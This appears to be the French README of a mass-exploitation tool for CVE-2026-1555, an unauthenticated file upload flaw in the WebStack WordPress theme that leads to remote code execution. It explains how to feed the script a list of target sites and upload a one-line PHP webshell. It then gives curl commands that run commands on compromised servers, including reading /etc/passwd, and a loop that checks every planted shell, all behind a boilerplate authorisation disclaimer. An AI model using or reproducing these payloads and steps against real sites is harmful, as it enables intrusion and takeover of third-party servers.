
WebStack <= 1.2024 - Téléversement de fichier arbitraire non authentifié
WebStack <= 1.2024 - Téléchargement arbitraire de fichier non authentifié
Exécution de code à distance non authentifiée via le gestionnaire AJAX img_upload
La fonction io_img_upload() enregistrée sous le hook d'action img_upload de admin-ajax.php dans WordPress n'effectue aucune validation du type de fichier ou de l'extension avant d'écrire le fichier téléchargé sur le serveur. Comme l'action est enregistrée sans contrôle d'authentification (wp_ajax_nopriv_), tout attaquant distant non authentifié peut envoyer un fichier arbitraire — y compris un webshell PHP — et le serveur le stockera dans un chemin accessible publiquement, permettant une exécution de code à distance directe.
Point de terminaison vulnérable :
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txtVersion de Python : 3.8+
Installer les dépendances :
pip install requests rich urllib3
Créez un fichier nommé list.txt (ou tout autre nom de votre choix) avec une cible par ligne :
https://target1.com
https://target2.com
http://target3.com
Les cibles sans
http://ouhttps://reçoivent automatiquement le préfixehttp://.
Placez votre webshell dans le même répertoire que le script. Exemple :
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
Les informations suivantes vous seront demandées :
Chaque téléchargement réussi affiche :
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
Toutes les URLs de shell réussies sont ajoutées à :
uploaded_paths.txt
Après un téléchargement réussi, accédez au shell directement via le navigateur ou curl :
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
Le chemin de téléchargement exact est extrait de la réponse JSON du serveur (
data.src) et affiché automatiquement.
Vérifiez rapidement tous les shells téléchargés à partir du fichier de sortie :
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
À la fin de chaque exécution, un résumé est affiché :
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Script d'exploitation principal
list.txt ← URLs cibles (une par ligne)
shell.php ← Charge utile à téléverser
uploaded_paths.txt ← Généré automatiquement : URLs de shell réussies
Cet outil est fourni strictement à des fins de tests d'intrusion autorisés, de recherche en sécurité et d'éducation uniquement.
L'auteur — Nxploited — n'assume aucune responsabilité en cas d'utilisation abusive, de dommages ou d'activités illégales menées avec cet outil. En utilisant cet outil, vous confirmez disposer d'une autorisation écrite explicite pour tester tous les systèmes cibles.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale et peut entraîner des poursuites pénales en vertu des lois applicables sur la cybercriminalité.
Utilisez-le de manière responsable. Vous êtes seul responsable de vos actions.
👤 Auteur : Nxploited 📣 Chaîne : Nxploited ZeroDay Hub 💬 Telegram : @KNxploited
| Champ | Détail |
|---|
| Identifiant CVE | CVE-2026-1555 |
| Composant affecté | Thème WebStack pour WordPress |
| Versions vulnérables | Toutes les versions jusqu'à 1.2024 incluse |
| Type de vulnérabilité | Téléchargement arbitraire de fichier → Exécution de code à distance |
| Authentification requise | ❌ Aucune (non authentifiée) |
| Score CVSS | 9.8 CRITIQUE |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Invite | Description | Défaut |
|---|
Targets file | Chemin vers votre liste de cibles | list.txt |
Threads | Nombre de travailleurs simultanés | 6 |
Local file to upload | Nom du fichier de votre charge utile (dans le répertoire du script) | shell.php |